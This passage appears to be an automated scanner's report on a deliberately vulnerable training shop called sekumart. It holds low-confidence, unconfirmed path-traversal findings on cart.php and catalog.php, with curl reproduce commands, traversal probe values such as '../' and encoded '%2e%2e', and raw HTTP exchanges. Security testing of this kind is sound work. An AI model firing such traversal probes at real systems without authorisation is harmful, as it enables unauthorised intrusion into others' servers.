These argue against the finding. They are shown because they are part of the picture and they do not count towards the evidence.

file looks like a path but does not select one injection/traversal
A path that cannot exist returned the same response as the real one, so this parameter does not choose a file and the normalisation probe could not mean anything either way.

Reproduce

request GET https://sekumart.sekuripy.hr/cart.php?callback=1&file=1&url=1&name=1&search=1&query=1&page=1&filename=1 bytes

normalised

curl -i -X GET 'https://sekumart.sekuripy.hr/cart.php?callback=1&file=sks1smomi/../1&url=1&name=1&search=1&query=1&page=1&filename=1'

GET /cart.php?callback=1&file=sks1smomi/../1&url=1&name=1&search=1&query=1&page=1&filename=1 HTTP/1.1
Host: sekumart.sekuripy.hr

Raw exchanges — 6 recorded request/response pairs

baseline HTTP 200 https://sekumart.sekuripy.hr/cart.php?callback=1&file=1&url=1&name=1&search=1&query=1…

request

GET /cart.php?callback=1&file=1&url=1&name=1&search=1&query=1&page=1&filename=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1373
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:02:40 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — cart</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catalog.

baseline again, to locate per-request churn HTTP 200 https://sekumart.sekuripy.hr/cart.php?callback=1&file=1&url=1&name=1&search=1&query=1…

request

GET /cart.php?callback=1&file=1&url=1&name=1&search=1&query=1&page=1&filename=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1373
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:02:40 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — cart</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catalog.

normalised HTTP 200 https://sekumart.sekuripy.hr/cart.php?callback=1&file=sks1smomi/../1&url=1&name=1&search=1…

request

GET /cart.php?callback=1&file=sks1smomi/../1&url=1&name=1&search=1&query=1&page=1&filename=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1373
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:02:40 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — cart</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catalog.

double_encoded HTTP 200 https://sekumart.sekuripy.hr/cart.php?callback=1&file=sks1smomi/%2e%2e/1&url=1&name=1…

request

GET /cart.php?callback=1&file=sks1smomi/%2e%2e/1&url=1&name=1&search=1&query=1&page=1&filename=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1373
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:02:40 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — cart</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catalog.

control HTTP 200 https://sekumart.sekuripy.hr/cart.php?callback=1&file=sks1smomi/1&url=1&name=1&search=1…

request

GET /cart.php?callback=1&file=sks1smomi/1&url=1&name=1&search=1&query=1&page=1&filename=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1373
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:02:40 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — cart</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catalog.

listing HTTP 200 https://sekumart.sekuripy.hr/cart.php?callback=1&file=&url=1&name=1&search=1&query=1&page=…

request

GET /cart.php?callback=1&file=&url=1&name=1&search=1&query=1&page=1&filename=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 1373
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:02:41 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — cart</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catalog.

Detection details — how this was found and rated

checks: injection/traversal
rating basis: P5 - input reaches a resolver but no escape was reached at any depth or encoding tried
class: traversal injection

GET/catalog.php query string · file unconfirmed · low confidence BV-028 info

location: GET https://sekumart.sekuripy.hr/catalog.php?callback=1&file=1&url=1&name=1&search=1&query=1&page=1&filename=1
input: file in the query string
authentication: none - reachable anonymously
classification: CWE-22 · WASC-33
standards: OWASP Top 10 2025A01:2025 OWASP ASVS 5.0.0V5 OWASP WSTG 4.2WSTG-ATHZ-01 ISO/IEC 27001 2022A.5.15, A.8.28 NIST CSF 2.0PR.AA-05, ID.RA-01 PCI DSS 4.0.16.2.4

Decisive evidence

file reaches a resolver, but no escape was reached unconfirmed

probes

128

note

only declared non-sensitive canaries are read at this tier

Conflicting observations — 1

These argue against the finding. They are shown because they are part of the picture and they do not count towards the evidence.

file looks like a path but does not select one injection/traversal
A path that cannot exist returned the same response as the real one, so this parameter does not choose a file and the normalisation probe could not mean anything either way.

Reproduce

request GET https://sekumart.sekuripy.hr/catalog.php?callback=1&file=1&url=1&name=1&search=1&query=1&page=1&filename=1 bytes

normalised

curl -i -X GET 'https://sekumart.sekuripy.hr/catalog.php?callback=1&file=sks1smomi/../1&url=1&name=1&search=1&query=1&page=1&filename=1'

GET /catalog.php?callback=1&file=sks1smomi/../1&url=1&name=1&search=1&query=1&page=1&filename=1 HTTP/1.1
Host: sekumart.sekuripy.hr

Raw exchanges — 6 recorded request/response pairs

baseline HTTP 200 https://sekumart.sekuripy.hr/catalog.php?callback=1&file=1&url=1&name=1&search=1&query=1…

request

GET /catalog.php?callback=1&file=1&url=1&name=1&search=1&query=1&page=1&filename=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 2070
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:00:41 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — catalog</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catal

baseline again, to locate per-request churn HTTP 200 https://sekumart.sekuripy.hr/catalog.php?callback=1&file=1&url=1&name=1&search=1&query=1…

request

GET /catalog.php?callback=1&file=1&url=1&name=1&search=1&query=1&page=1&filename=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 2070
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:00:41 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — catalog</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catal

normalised HTTP 200 https://sekumart.sekuripy.hr/catalog.php?callback=1&file=sks1smomi/../1&url=1&name=1…

request

GET /catalog.php?callback=1&file=sks1smomi/../1&url=1&name=1&search=1&query=1&page=1&filename=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 2070
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:00:41 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — catalog</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catal

double_encoded HTTP 200 https://sekumart.sekuripy.hr/catalog.php?callback=1&file=sks1smomi/%2e%2e/1&url=1&name=1…

request

GET /catalog.php?callback=1&file=sks1smomi/%2e%2e/1&url=1&name=1&search=1&query=1&page=1&filename=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 2070
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:00:41 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — catalog</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catal

control HTTP 200 https://sekumart.sekuripy.hr/catalog.php?callback=1&file=sks1smomi/1&url=1&name=1&search=1…

request

GET /catalog.php?callback=1&file=sks1smomi/1&url=1&name=1&search=1&query=1&page=1&filename=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 2070
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:00:41 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — catalog</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catal

listing HTTP 200 https://sekumart.sekuripy.hr/catalog.php?callback=1&file=&url=1&name=1&search=1&query=1…

request

GET /catalog.php?callback=1&file=&url=1&name=1&search=1&query=1&page=1&filename=1 HTTP/1.1
Host: sekumart.sekuripy.hr

response

HTTP/1.1 200
cache-control: no-store, no-cache, must-revalidate
content-encoding: gzip
content-length: 2070
content-type: text/html; charset=UTF-8
date: Thu, 17 Sep 2026 10:00:41 GMT
expires: Thu, 19 Nov 1981 08:52:00 GMT
pragma: no-cache
server: Apache
vary: Accept-Encoding
x-powered-by: PHP/8.2.30
x-robots-tag: noindex, nofollow, noarchive

<!DOCTYPE html><html lang='en'><head><meta charset='utf-8'><meta name='viewport' content='width=device-width,initial-scale=1'><title>sekumart — catalog</title><link rel='stylesheet' href='/style.css?v=973b8b4fd6'><link rel='icon' href="data:image/svg+xml,%3Csvg%20xmlns='http://www.w3.org/2000/svg'%20viewBox='0%200%2032%2032'%3E%3Ctext%20y='25'%20font-size='24'%3E%F0%9F%9B%92%3C/text%3E%3C/svg%3E"><script>window.SECLEVEL="low";</script><script src='/app.js' defer></script><script defer src='https://static.cloudflareinsights.com/beacon.min.js' data-cf-beacon='{"token":"••••••••"}'></script></head><body><header><a class='brand' href='/'>🛒 sekumart</a><span class='tag'>deals so good it should be illegal</span><form class='search' action='/search.php' method='get'><input name='q' placeholder='search products' value=''><button>search</button></form><div class='acct'><span class='curr'><a href='/setcurr.php?c=USD'>USD</a> <a href='/setcurr.php?c=EUR'>EUR</a> <a href='/setcurr.php?c=GBP'>GBP</a> </span> <a class='flagbadge' href='/challenges.php' title='challenge scoreboard'>🏴 1/8</a> <a href='/cart.php'>🛒 cart (0)</a> <a href='/login.php'>login</a></div><div class='seclevel'>security level: <span class='lvlinfo' title='Each vulnerable page runs at this level. Flip between low (vulnerable) and impossible (fixed), then use "view source" to compare the code.'>i</span> <a class='on lvl-low' href='/setlevel.php?l=low'>low</a> <a class='lvl-medium' href='/setlevel.php?l=medium'>medium</a> <a class='lvl-high' href='/setlevel.php?l=high'>high</a> <a class='lvl-impossible' href='/setlevel.php?l=impossible'>impossible</a> </div></header><nav><details class='shopmenu'><summary>🛍 Products</summary><div class='menu'><a href='/catal

Detection details — how this was found and rated

checks: injection/traversal
rating basis: P5 - input reaches a resolver but no escape was reached at any depth or encoding tried
class: traversal injection

GET/sekumart.sekuripy.hr/login.php query string · file unconfirmed · low confidence BV-029 info

location: GET https://sekumart.sekuripy.hr/sekumart.sekuripy.hr/login.php?callback=1&file=1&url=1&name=1&search=1&query=1&page=1&filename=1
input: file in the query string
authentication: none - reachable anonymously
classification: CWE-22 · WASC-33
